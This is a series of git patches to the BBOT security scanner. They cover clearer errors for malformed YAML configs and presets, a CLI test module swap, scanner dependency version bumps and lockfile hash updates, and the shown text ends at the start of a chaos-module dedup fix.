"https://files.pythonhosted.org/packages/b0/c2/cc7fad3ec9169373f5b6a18f1917b91080feec40c3f9658334a1d28e2f03/ruff-0.15.16-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba93191d79003116b95128c9d306e045200fdbd0bccb782b110f3cd1d4abc5cf", size = 10757217, upload-time = "2026-06-04T16:32:54.722Z" }, + { url = "https://files.pythonhosted.org/packages/69/d2/3474009eaa0a65b31fa7152a2fad5e2f050c640ceb1e6b02ee6922e94c82/ruff-0.15.16-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c6ee4b90520630120ef032aa5cc10db483852dff950e78b1d717e2993a61ac8d", size = 10507035, upload-time = "2026-06-04T16:33:05.343Z" }, + { url = "https://files.pythonhosted.org/packages/ca/81/b7ae6ccbd11f0c8dc3d5d67fc4be9b57ff57ca86ba56152021378e1277f2/ruff-0.15.16-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e4215bc938bc3c8215c1472c1aa437e310fee20cd427335fec9d7e609563628", size = 11255291, upload-time = "2026-06-04T16:32:49.49Z" }, + { url = "https://files.pythonhosted.org/packages/d9/e1/46e526f1a7cc90857ce6ddf25fbb77eb6568651ac38d71b033af07076dd5/ruff-0.15.16-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c8d26be963b090f10e29abc8b3e74a2a321f6fa34e02424e30b5af89350ecbb", size = 12124922, upload-time = "2026-06-04T16:33:07.821Z" }, + { url = "https://files.pythonhosted.org/packages/1a/da/5c791b088b596b24d0deb967fa28ae02ad751a140c0b9ea81c5ab915d6c0/ruff-0.15.16-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f198cf4123602a2280ed46c307bcbafe41758d6fee5b456b6b6058ca1514b3b4", size = 11332186, upload-time = "2026-06-04T16:33:02.971Z" }, + { url = "https://files.pythonhosted.org/packages/72/11/5da87abe20047c8962361473923ebb2f62b595250126aadfad8c20649c1e/ruff-0.15.16-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb27515fa6240fb586ae82b901a59e67d24acff86f2190b433dc542fe0435aeb", size = 11373541, upload-time = "2026-06-04T16:32:47.007Z" }, + { url = "https://files.pythonhosted.org/packages/fe/2a/8554754c23a854ae3fd6b507e36ad61ddb121e298c6d5d617dec94ed0f14/ruff-0.15.16-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a267c46ba1593fc26b8eecbea050b39d40c0b6bb7781ee11c90a02cd10032951", size = 11353014, upload-time = "2026-06-04T16:32:34.795Z" }, + { url = "https://files.pythonhosted.org/packages/62/25/62ea41529ec89f742ea3fed9cb1059c72877ec7cf9b9e99ac9cf3294d1d9/ruff-0.15.16-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:528c68f39a91498a8d50e91ff5985df3d105782bab49cc378e73ac26bff083e8", size = 10737467, upload-time = "2026-06-04T16:32:26.348Z" }, + { url = "https://files.pythonhosted.org/packages/90/17/334d3ad9de4d40f9dd58fdd09e35ce64553bb501e2f19a839e2fb6be14fc/ruff-0.15.16-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7ed55c58950df60589a9a7a5d2f8fa5f54ebd287163be805adfe6ee95a9de123", size = 10521910, upload-time = "2026-06-04T16:32:32.54Z" }, + { url = "https://files.pythonhosted.org/packages/4d/bd/3ac7c6ae77a885c1004b3dda2446ea401768d24f851c14b4ad4b24f6639c/ruff-0.15.16-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d482feaf51512b50f9790ceb417a56a61dd1e9d9bf967662b9ed27c01b34f53a", size = 10979190, upload-time = "2026-06-04T16:32:57.492Z" }, + { url = "https://files.pythonhosted.org/packages/33/d7/609546e6a413c3f216fbf2a50c928f97c80939154f6a0503114094a86191/ruff-0.15.16-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:1e15bc8c94513dae2a40cc9ef07c94fdd4ecc9e29dabebeebe170f952322c9e3", size = 11477014, upload-time = "2026-06-04T16:32:44.687Z" }, + { url = "https://files.pythonhosted.org/packages/74/0d/f2cd247ad32633a5c36e97141a2c21b11c6279f7957bc2ff360b1e08fddd/ruff-0.15.16-py3-none-win32.whl", hash = "sha256:580378f7bd4aa25f72e74aa54948a9622f142b1e509521dd10902e886681cc1e", size = 10735541, upload-time = "2026-06-04T16:32:30.145Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9e/02e845ef151b1dee585e55c4739f8e1734ae1d9f1221dff65761c162208b/ruff-0.15.16-py3-none-win_amd64.whl", hash = "sha256:408256017284eddf98fff77b29aa4fb30f586042d535b2d9befc6512f400aaec", size = 11843403, upload-time = "2026-06-04T16:32:39.76Z" }, + { url = "https://files.pythonhosted.org/packages/15/19/016553f86f207450aebebc2b2b5088d086b901cc8186c02ac4284db3bd88/ruff-0.15.16-py3-none-win_arm64.whl", hash = "sha256:8cd61783afb39638a7133ef0d2dfb1e91277593962f81b5a8423eb0b888a6121", size = 11134555, upload-time = "2026-06-04T16:33:00.136Z" }, ] [[package]] From 491c2d348dc4df72592f1a8ece54f48caf77c4b6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 11:01:43 -0400 Subject: [PATCH 768/912] Handle malformed YAML gracefully instead of crashing Closes #3158 --- bbot/core/config/files.py | 4 +++ bbot/core/core.py | 8 +++++- bbot/scanner/preset/preset.py | 16 +++++++++-- bbot/test/test_step_1/test_presets.py | 39 +++++++++++++++++++++++++++ 4 files changed, 64 insertions(+), 3 deletions(-) diff --git a/bbot/core/config/files.py b/bbot/core/config/files.py index 7814626f11..7df234ad1b 100644 --- a/bbot/core/config/files.py +++ b/bbot/core/config/files.py @@ -37,6 +37,10 @@ def _get_config(self, filename, name="config") -> dict: return conf except ConfigLoadError: raise + except yaml.YAMLError as e: + raise ConfigLoadError( + f"YAML syntax error in {filename}:\n\n{e}\n\nPlease check the file for indentation or formatting errors." + ) except Exception as e: raise ConfigLoadError(f"Error parsing config at {filename}:\n\n{e}") diff --git a/bbot/core/core.py b/bbot/core/core.py index feeccac0f5..983d489d0f 100644 --- a/bbot/core/core.py +++ b/bbot/core/core.py @@ -33,7 +33,13 @@ def __init__(self): self._custom_config: dict | None = None # bare minimum == logging - self.logger + try: + self.logger + except BBOTError as e: + import sys + + print(f"\n[CRITICAL] {e}\n", file=sys.stderr) + sys.exit(1) self.log = logging.getLogger("bbot.core") self._prep_multiprocessing() diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index ff9402e32f..8512619e0e 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -804,8 +804,14 @@ def from_yaml_file(cls, filename, _exclude=None, _log=False): yaml_str = open(filename).read() except FileNotFoundError: raise PresetNotFoundError(f'Could not find preset at "{filename}" - file does not exist') + try: + yaml_dict = yaml.safe_load(yaml_str) or {} + except yaml.YAMLError as e: + raise ValidationError( + f"YAML syntax error in {filename}:\n\n{e}\n\nPlease check the file for indentation or formatting errors." + ) preset = cls.from_dict( - yaml.safe_load(yaml_str) or {}, + yaml_dict, name=filename.stem, _exclude=_exclude, _log=_log, @@ -830,7 +836,13 @@ def from_yaml_string(cls, yaml_preset): >>> - portscan''' >>> preset = Preset.from_yaml_string(yaml_string) """ - return cls.from_dict(yaml.safe_load(yaml_preset) or {}) + try: + yaml_dict = yaml.safe_load(yaml_preset) or {} + except yaml.YAMLError as e: + raise ValidationError( + f"YAML syntax error in preset:\n\n{e}\n\nPlease check the YAML for indentation or formatting errors." + ) + return cls.from_dict(yaml_dict) def to_dict(self, include_target=False, full_config=False, redact_secrets=False): """ diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 62eb705ef0..c3c5f501e4 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1299,3 +1299,42 @@ def test_preset_dnsresolve_required_by_dns_name_consumers(): # disabling dnsresolve with no DNS_NAME consumers enabled is allowed Preset(exclude_modules=["dnsresolve"]).validate().bake() + + +def test_malformed_yaml_preset_file(tmp_path): + """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158 + + Malformed YAML (e.g. bad indentation) must raise a clear ValidationError, + not an unhandled exception with a raw traceback. + """ + malformed = tmp_path / "bad_preset.yml" + malformed.write_text( + "target:\n - evilcorp.com\nmodules:\n sslcert:\n option: value\n robots:\n option: value\n" + ) + with pytest.raises(ValidationError, match="YAML syntax error"): + Preset.from_yaml_file(str(malformed)) + + +def test_malformed_yaml_preset_string(): + """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158 + + Malformed YAML string must raise ValidationError, not an unhandled yaml.YAMLError. + """ + malformed_yaml = "target:\n - evilcorp.com\nconfig:\n key: value\n bad_indent: oops\n" + with pytest.raises(ValidationError, match="YAML syntax error"): + Preset.from_yaml_string(malformed_yaml) + + +def test_malformed_yaml_config_file(tmp_path): + """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158 + + Malformed YAML in a config file (bbot.yml / secrets.yml) must raise + ConfigLoadError with a helpful message, not crash with a raw traceback. + """ + from bbot.core.config.files import BBOTConfigFiles + from bbot.errors import ConfigLoadError + + malformed = tmp_path / "bad_config.yml" + malformed.write_text("web:\n http_rate_limit: 100\n bad_key: value\n") + with pytest.raises(ConfigLoadError, match="YAML syntax error"): + BBOTConfigFiles._get_config(None, str(malformed)) From 47707aea5c3269a45a1e16a2f2dc208f24908217 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 11:42:47 -0400 Subject: [PATCH 769/912] Use dotnetnuke instead of nuclei for invasive flag test More stable because it doesn't depend on nuclei installation, which is tested elsewhere. --- bbot/test/test_step_1/test_cli.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index af04192ab2..0e9d3f909e 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -402,9 +402,9 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): assert result is True # invasive modules should run without a gate (just warnings) - monkeypatch.setattr("sys.argv", ["bbot", "-m", "nuclei"]) + monkeypatch.setattr("sys.argv", ["bbot", "-m", "dotnetnuke"]) result = await cli._main() - assert result is True, "-m nuclei should run without any special flags" + assert result is True, "-m dotnetnuke should run without any special flags" # install all deps monkeypatch.setattr("sys.argv", ["bbot", "--install-all-deps"]) From 0bbd57e83efa355a77e4944c2d8cc1ff613f8cfb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 13:19:44 -0400 Subject: [PATCH 770/912] Upgrade baddns to 2.4, badsecrets to 1.1 --- bbot/modules/baddns.py | 2 +- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 2 +- bbot/modules/badsecrets.py | 2 +- pyproject.toml | 2 +- uv.lock | 56 +++++++++++++++++------------------ 6 files changed, 33 insertions(+), 33 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index fc643dc74a..ddc86ab3a4 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -60,7 +60,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.3.0"] + deps_pip = ["baddns~=2.4.0"] def select_modules(self): selected_submodules = [] diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 6bfadcc48a..584d3f7763 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -22,7 +22,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.3.0"] + deps_pip = ["baddns~=2.4.0"] scope_distance_modifier = 1 diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 972b73384b..9277be5e1e 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -22,7 +22,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.3.0"] + deps_pip = ["baddns~=2.4.0"] def set_modules(self): self.enabled_submodules = ["NSEC", "zonetransfer"] diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index a0a3319307..b4aef40c9a 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -19,7 +19,7 @@ class badsecrets(BaseModule): class Config(BaseModuleConfig): custom_secrets: Optional[str] = Field(None, description="Include custom secrets loaded from a local file") - deps_pip = ["badsecrets~=1.0.0"] + deps_pip = ["badsecrets~=1.1.0"] async def setup(self): self.custom_secrets = None diff --git a/pyproject.toml b/pyproject.toml index 295e65db87..833a1e05ca 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -79,7 +79,7 @@ dev = [ "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", - "baddns~=2.3.0", + "baddns~=2.4.0", "ruff==0.15.16", "maturin>=1.4,<2", ] diff --git a/uv.lock b/uv.lock index 8cd80b1ec3..f85cfc408a 100644 --- a/uv.lock +++ b/uv.lock @@ -160,7 +160,7 @@ wheels = [ [[package]] name = "baddns" -version = "2.3.0" +version = "2.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "blastdns" }, @@ -173,9 +173,9 @@ dependencies = [ { name = "pyyaml" }, { name = "tldextract" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/96/19/0b95c6ab143e247fb38b6636b848a565283d291fdeb4d958e68c3630e2a2/baddns-2.3.0.tar.gz", hash = "sha256:d2a37e0ad377341497b363c9bc36ab3cdbf0687af0c14d3d929fce887b18db76", size = 61446, upload-time = "2026-05-05T16:42:41.443Z" } +sdist = { url = "https://files.pythonhosted.org/packages/98/2d/72f9da1236b85451821dfad9c5eba242af8e8b23e66f15ee8a83d3ae4472/baddns-2.4.0.tar.gz", hash = "sha256:5ee98f0ccc250057d73c85055b32f2c2878a9577e9ce44cf46ebe03773954c7a", size = 62731, upload-time = "2026-06-09T17:06:53.879Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/76/d0/05784b81a79341e7b64907384833d36173d2693d1f50069106f77e1e1188/baddns-2.3.0-py3-none-any.whl", hash = "sha256:5fc9fa21cf40e8bef7197c747476246b23b0549f8bc8d2020f83792f85921d47", size = 119327, upload-time = "2026-05-05T16:42:40.308Z" }, + { url = "https://files.pythonhosted.org/packages/ea/b3/bb4e9dc73b87acba15804de8609b74b6b52f75e4282236e84c048bd1cb81/baddns-2.4.0-py3-none-any.whl", hash = "sha256:ad721dcc49fff9804b793cdfc743d9f4a5bd29ccb31843e1dc24a1bbf7854024", size = 121106, upload-time = "2026-06-09T17:06:52.717Z" }, ] [[package]] @@ -298,7 +298,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ - { name = "baddns", specifier = "~=2.3.0" }, + { name = "baddns", specifier = "~=2.4.0" }, { name = "fastapi", specifier = ">=0.115.5,<0.137.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, @@ -311,13 +311,13 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.15" }, + { name = "ruff", specifier = "==0.15.16" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.49" }, + { name = "uvicorn", specifier = ">=0.32,<0.50" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ - { name = "griffe", specifier = ">=1,<2" }, + { name = "griffe", specifier = ">=1,<3" }, { name = "livereload", specifier = ">=2.6.3,<3" }, { name = "mike", specifier = ">=2.1.3,<3" }, { name = "mkdocs", specifier = ">=1.5.2,<2" }, @@ -2791,27 +2791,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.15" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/84/6f/a76f7d96e5c962f5b69cee865e49c15c1116897c01990faa8a57edb62e7f/ruff-0.15.15.tar.gz", hash = "sha256:b8dff018130b46d8e5bf0f926ef6b60cf871d6d5ae45fc9334e09632daa741d6", size = 4706985, upload-time = "2026-05-28T14:16:57.784Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/fa/9d/3a45c05b8ab04b4705989de70a79008e27c8003296a0feaee9edc18dd7e9/ruff-0.15.15-py3-none-linux_armv6l.whl", hash = "sha256:cf93e5388f412e1b108b1f8b34a6e036b70fe8aff89393befad96fe48670311b", size = 10710652, upload-time = "2026-05-28T14:16:06.701Z" }, - { url = "https://files.pythonhosted.org/packages/05/66/da974431624bf3b49f6ee1f9543c02d929ff1cba78b0d5a79c38cf21f744/ruff-0.15.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ac5a646d1f6a7dadd5d50842dae2c1f9862ac887ef5d1b1375e02def791fde6e", size = 11096615, upload-time = "2026-05-28T14:16:23.313Z" }, - { url = "https://files.pythonhosted.org/packages/8c/09/7443452e5d290230a712103f2fdceeef7184f3ec99a2bd01c8be78aaceb5/ruff-0.15.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:77d955a431430c66f72dd94e379ad38a16daea3d25094872ac4edf9e797be530", size = 10436683, upload-time = "2026-05-28T14:16:40.974Z" }, - { url = "https://files.pythonhosted.org/packages/53/01/d330c26a57fa4f3943a14424904027428315b700fe4d14a84bb123a649e5/ruff-0.15.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7614ee79c69788cf6cedd568069ade9cecc22a1ad20494efe8d0c9ebb4b622d4", size = 10769064, upload-time = "2026-05-28T14:16:28.905Z" }, - { url = "https://files.pythonhosted.org/packages/1d/85/cc8770f8bdff541b1da8392d1634141fe4a0e3f4ee596605959b7906c27f/ruff-0.15.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cdb1679e06a1f6b47bc384714ae96f6e2fb65ca441eb78c43d2ca554176ce1f", size = 10511987, upload-time = "2026-05-28T14:16:43.732Z" }, - { url = "https://files.pythonhosted.org/packages/7c/29/8c190c1472b63013583ba391f3342036e02010544c1270455ed8e519bdf3/ruff-0.15.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2728b93d7b23a603ea2c0ac6eb73d760bd38ec9de35f35fb41e18f7a3fee7622", size = 11275100, upload-time = "2026-05-28T14:16:55.244Z" }, - { url = "https://files.pythonhosted.org/packages/9f/6b/7e145ce2cc8e63d6834eca03d83a0e18d121def5c69f91b4cf4011ed4879/ruff-0.15.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be582fcc0db438902c7792b08d6ddf6c9b9e21addaa10092c2c741cfb09e5a45", size = 12176903, upload-time = "2026-05-28T14:16:14.368Z" }, - { url = "https://files.pythonhosted.org/packages/80/a3/d5974637f68e451f7fadf015cf3101d1cd7d8ba5027cffe0b9e3826ebe6b/ruff-0.15.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7aa77465b8ecaf1a27bea098d696f7fed5e1eccbd10b321b682d6de586ae5627", size = 11404550, upload-time = "2026-05-28T14:16:20.138Z" }, - { url = "https://files.pythonhosted.org/packages/fe/1c/e6e5e568f22be4fb05d6244234aba384c06b451252453b821e1a529263cf/ruff-0.15.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48decfa11d740de4889de623be1463308346312f2409a56e24aa280c86162dc4", size = 11382027, upload-time = "2026-05-28T14:16:46.615Z" }, - { url = "https://files.pythonhosted.org/packages/1d/01/170921b49fcd2e8858825593f91cf7146c3e40a5c3e6df763e4bb0484dde/ruff-0.15.15-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a5015088452ca0081387063649ec67f06d3d1d6b8b936a1f836b5e9657ecd48c", size = 11366041, upload-time = "2026-05-28T14:16:26.247Z" }, - { url = "https://files.pythonhosted.org/packages/87/54/a7bad711d7de93254e15e06a4c375b89a03d18de45d3e5dcc86a4472fb1a/ruff-0.15.15-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f5294aab6356c81600fcdea3a62bb1b924dfd5e91767c12318d3f68f86af57cd", size = 10741795, upload-time = "2026-05-28T14:16:17.11Z" }, - { url = "https://files.pythonhosted.org/packages/c9/31/38c075963668f8b41c6914ee0f6f318727fbe30ab9145cb29e6df464c5fa/ruff-0.15.15-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:db5bd4d802415cca656dc1616070b725952d6ae95eb5d4831e49fbd94a38f75f", size = 10511117, upload-time = "2026-05-28T14:16:31.767Z" }, - { url = "https://files.pythonhosted.org/packages/9d/96/6ff689e1f7e375d1d97075eca022f74c2bab59554a432fe4d2e6f091986a/ruff-0.15.15-py3-none-musllinux_1_2_i686.whl", hash = "sha256:587a6278ed42059191c1a466e490bd7930fb50bd2e255398bc29616c895a61cb", size = 10994867, upload-time = "2026-05-28T14:16:35.149Z" }, - { url = "https://files.pythonhosted.org/packages/c3/c2/5dce0ab9f92a8d534fa62b9bf9caca3eddb8c1a81b616f5e195ada4f0d6e/ruff-0.15.15-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:df0c1c084f5f4be9812f61518a45c440d3c30d69ce4bf6c5270e66d38338f02a", size = 11482101, upload-time = "2026-05-28T14:16:49.598Z" }, - { url = "https://files.pythonhosted.org/packages/b1/c0/1003b60edd697c649faf61f1a34094b1abb38fb3d1181e3f895781250a08/ruff-0.15.15-py3-none-win32.whl", hash = "sha256:29428ea79694afbe756d45fd59b36f22b6b020dc0443cf7de0173046236964b9", size = 10716774, upload-time = "2026-05-28T14:16:52.337Z" }, - { url = "https://files.pythonhosted.org/packages/02/a8/1269eddd6945a06c23f055ef7848886e37cf9d6a8bebb386a3115f01470c/ruff-0.15.15-py3-none-win_amd64.whl", hash = "sha256:8df0323902e15e24bc4bf246da830573d3cf3352bd0b9a164eab335d111ff4a4", size = 11868463, upload-time = "2026-05-28T14:16:11.333Z" }, - { url = "https://files.pythonhosted.org/packages/4e/b2/920464c907b191e37469d477a1aa8bc048b8f36c4c1610dfa4ab87b39e18/ruff-0.15.15-py3-none-win_arm64.whl", hash = "sha256:3c8ceca6792f38196b8f589bc92eccd03eef286602da92e5dc05cc42ef6441b7", size = 11138498, upload-time = "2026-05-28T14:16:38.425Z" }, +version = "0.15.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/5f7ec371001337d8fa61701c186ff8b613ecac1651848c5950f4c4d5f2e9/ruff-0.15.16.tar.gz", hash = "sha256:d05e78d38c78caf020b03789e25106c93017db5a0cb6e2819885018c61343b78", size = 4714267, upload-time = "2026-06-04T16:33:09.974Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/42/53ef1c3953f157956db9bf7861e3bc50b9b887ce93300aa48cdba8336fe6/ruff-0.15.16-py3-none-linux_armv6l.whl", hash = "sha256:6ac3c0b3969cc6cf6b158c4e2f8f682acb58e7d700d8a44b65ecdc72d66ab0b2", size = 10709025, upload-time = "2026-06-04T16:32:51.935Z" }, + { url = "https://files.pythonhosted.org/packages/93/9a/a79159346f19134a956607754e57d8d128f7a4c00f4ad2f7514d224c172c/ruff-0.15.16-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:197c207ed75ffba54a0dec23db4aa939a27a3053073e085e0042433cbdc58e4a", size = 11063550, upload-time = "2026-06-04T16:32:42.24Z" }, + { url = "https://files.pythonhosted.org/packages/bc/72/3ce2ac000a5299ec238e01f51397b3b653c93b077d9b1bfe8715bb895f20/ruff-0.15.16-py3-none-macosx_11_0_arm64.whl", hash = "sha256:3a39fec45ab316cc23e7558f23fea4a70403ddb5648ea9a4a3854a16973d0071", size = 10421345, upload-time = "2026-06-04T16:32:37.251Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c2/cc7fad3ec9169373f5b6a18f1917b91080feec40c3f9658334a1d28e2f03/ruff-0.15.16-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba93191d79003116b95128c9d306e045200fdbd0bccb782b110f3cd1d4abc5cf", size = 10757217, upload-time = "2026-06-04T16:32:54.722Z" }, + { url = "https://files.pythonhosted.org/packages/69/d2/3474009eaa0a65b31fa7152a2fad5e2f050c640ceb1e6b02ee6922e94c82/ruff-0.15.16-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c6ee4b90520630120ef032aa5cc10db483852dff950e78b1d717e2993a61ac8d", size = 10507035, upload-time = "2026-06-04T16:33:05.343Z" }, + { url = "https://files.pythonhosted.org/packages/ca/81/b7ae6ccbd11f0c8dc3d5d67fc4be9b57ff57ca86ba56152021378e1277f2/ruff-0.15.16-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e4215bc938bc3c8215c1472c1aa437e310fee20cd427335fec9d7e609563628", size = 11255291, upload-time = "2026-06-04T16:32:49.49Z" }, + { url = "https://files.pythonhosted.org/packages/d9/e1/46e526f1a7cc90857ce6ddf25fbb77eb6568651ac38d71b033af07076dd5/ruff-0.15.16-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c8d26be963b090f10e29abc8b3e74a2a321f6fa34e02424e30b5af89350ecbb", size = 12124922, upload-time = "2026-06-04T16:33:07.821Z" }, + { url = "https://files.pythonhosted.org/packages/1a/da/5c791b088b596b24d0deb967fa28ae02ad751a140c0b9ea81c5ab915d6c0/ruff-0.15.16-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f198cf4123602a2280ed46c307bcbafe41758d6fee5b456b6b6058ca1514b3b4", size = 11332186, upload-time = "2026-06-04T16:33:02.971Z" }, + { url = "https://files.pythonhosted.org/packages/72/11/5da87abe20047c8962361473923ebb2f62b595250126aadfad8c20649c1e/ruff-0.15.16-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb27515fa6240fb586ae82b901a59e67d24acff86f2190b433dc542fe0435aeb", size = 11373541, upload-time = "2026-06-04T16:32:47.007Z" }, + { url = "https://files.pythonhosted.org/packages/fe/2a/8554754c23a854ae3fd6b507e36ad61ddb121e298c6d5d617dec94ed0f14/ruff-0.15.16-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a267c46ba1593fc26b8eecbea050b39d40c0b6bb7781ee11c90a02cd10032951", size = 11353014, upload-time = "2026-06-04T16:32:34.795Z" }, + { url = "https://files.pythonhosted.org/packages/62/25/62ea41529ec89f742ea3fed9cb1059c72877ec7cf9b9e99ac9cf3294d1d9/ruff-0.15.16-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:528c68f39a91498a8d50e91ff5985df3d105782bab49cc378e73ac26bff083e8", size = 10737467, upload-time = "2026-06-04T16:32:26.348Z" }, + { url = "https://files.pythonhosted.org/packages/90/17/334d3ad9de4d40f9dd58fdd09e35ce64553bb501e2f19a839e2fb6be14fc/ruff-0.15.16-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7ed55c58950df60589a9a7a5d2f8fa5f54ebd287163be805adfe6ee95a9de123", size = 10521910, upload-time = "2026-06-04T16:32:32.54Z" }, + { url = "https://files.pythonhosted.org/packages/4d/bd/3ac7c6ae77a885c1004b3dda2446ea401768d24f851c14b4ad4b24f6639c/ruff-0.15.16-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d482feaf51512b50f9790ceb417a56a61dd1e9d9bf967662b9ed27c01b34f53a", size = 10979190, upload-time = "2026-06-04T16:32:57.492Z" }, + { url = "https://files.pythonhosted.org/packages/33/d7/609546e6a413c3f216fbf2a50c928f97c80939154f6a0503114094a86191/ruff-0.15.16-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:1e15bc8c94513dae2a40cc9ef07c94fdd4ecc9e29dabebeebe170f952322c9e3", size = 11477014, upload-time = "2026-06-04T16:32:44.687Z" }, + { url = "https://files.pythonhosted.org/packages/74/0d/f2cd247ad32633a5c36e97141a2c21b11c6279f7957bc2ff360b1e08fddd/ruff-0.15.16-py3-none-win32.whl", hash = "sha256:580378f7bd4aa25f72e74aa54948a9622f142b1e509521dd10902e886681cc1e", size = 10735541, upload-time = "2026-06-04T16:32:30.145Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9e/02e845ef151b1dee585e55c4739f8e1734ae1d9f1221dff65761c162208b/ruff-0.15.16-py3-none-win_amd64.whl", hash = "sha256:408256017284eddf98fff77b29aa4fb30f586042d535b2d9befc6512f400aaec", size = 11843403, upload-time = "2026-06-04T16:32:39.76Z" }, + { url = "https://files.pythonhosted.org/packages/15/19/016553f86f207450aebebc2b2b5088d086b901cc8186c02ac4284db3bd88/ruff-0.15.16-py3-none-win_arm64.whl", hash = "sha256:8cd61783afb39638a7133ef0d2dfb1e91277593962f81b5a8423eb0b888a6121", size = 11134555, upload-time = "2026-06-04T16:33:00.136Z" }, ] [[package]] From 8088ab2037c6fea40bb221546c65a1d41861279c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 15:39:47 -0400 Subject: [PATCH 771/912] Fix duplicate-inflation false-negative in _collapse Deduplicate children per parent (set instead of list) so duplicates from the chaos API don't inflate the per-parent cap count and silently drop legitimate subdomains. --- bbot/modules/chaos.py | 4 +- .../module_tests/test_module_chaos.py | 38 +++++++++++++++++++ 2 files changed, 40 insertions(+), 2 deletions(-) diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py 